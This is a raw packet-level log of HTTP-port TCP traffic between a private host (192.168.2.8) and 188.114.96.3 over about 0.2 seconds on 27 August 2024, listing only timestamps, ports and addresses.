Aug 27, 2024 09:49:36.683423996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683437109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683449030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683461905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.683482885 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.683741093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683846951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683857918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683871031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683882952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683885098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.683888912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683898926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683911085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683973074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.763748884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.763770103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.763782978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.763820887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.763834000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.763847113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.763860941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.763887882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.763927937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.763993025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764005899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764018059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764029980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764031887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764045000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764058113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764058113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764071941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764084101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764085054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764097929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764112949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764195919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764220953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764249086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764261961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764276028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764286041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764288902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764307022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764312029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764358044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764399052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764411926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764421940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764441013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764441967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764455080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764475107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764493942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764497995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764508009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764523029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764535904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764547110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764547110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764547110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764559984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764571905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764574051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764586926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764611959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764637947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.764890909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764900923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764914989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764926910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764940023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764952898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764967918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.764982939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.765029907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.765039921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.765052080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.765058041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.765144110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.765182018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.765193939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.765206099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.765218019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.765229940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.765242100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.765247107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.765270948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.765289068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.766685009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766697884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766710997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766755104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766767025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766771078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.766787052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766798973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766813040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766853094 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.766872883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.766935110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766947985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766961098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766973019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766984940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.766993999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.766999006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767007113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.767033100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.767338037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767386913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767400980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767426014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.767477989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767491102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767502069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767515898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767533064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767573118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.767586946 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.767751932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767765045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767776966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767847061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.767863989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767877102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767894030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767906904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.767934084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.767934084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.768940926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769005060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769011974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.769018888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769049883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.769066095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769078016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769089937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769107103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769112110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.769119978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769167900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769184113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769192934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.769218922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.769244909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769257069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769263029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769279957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.769294977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.769309044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.770087957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770136118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770153999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770159006 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.770184040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770193100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.770200014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770231009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770242929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770256996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770268917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770282030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770303011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.770314932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.770344019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770356894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770382881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770389080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770394087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770426035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.770447969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.770802975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770817041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770831108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770844936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770927906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770940065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770946026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.770952940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770963907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.770978928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.771020889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.854918957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.854945898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.854957104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855014086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855025053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855036020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855050087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855063915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855101109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855103970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855194092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855209112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855221033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855232000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855243921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855254889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855261087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855268955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855282068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855313063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855393887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855406046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855417013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855428934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855439901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855458975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855495930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855539083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855551958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855570078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855580091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855581045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855592966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855603933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855616093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855618000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855628967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855640888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855648041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855668068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855678082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855874062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855885983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855891943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855896950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855910063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855921030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855931044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.855940104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.855963945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.856005907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856045961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.856054068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856065035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856112957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.856169939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856180906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856192112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856204987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856216908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.856281042 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.856306076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856317997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856328964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856340885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856353045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856364965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856375933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.856408119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.856442928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857099056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857141972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857153893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857156992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857192993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857254982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857266903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857290030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857302904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857315063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857352018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857374907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857387066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857398987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857428074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857446909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857541084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857553959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857564926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857578039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857584953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857590914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857603073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857614994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857628107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857664108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857693911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857696056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857714891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857736111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857814074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857825994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857839108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857856989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857882023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.857968092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857980013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.857990980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858002901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858016014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858027935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858038902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858093977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858099937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858129978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858129978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858226061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858237982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858249903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858263016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858273029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858279943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858294010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858305931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858305931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858318090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858330011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858334064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858356953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858539104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858550072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858561039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858575106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858586073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858597040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858608007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858616114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858618975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858630896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858638048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858643055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858653069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858671904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858834982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858851910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858863115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858880997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858880997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858892918 CEST	80	49715	188.114.96.3	192.168.2.8
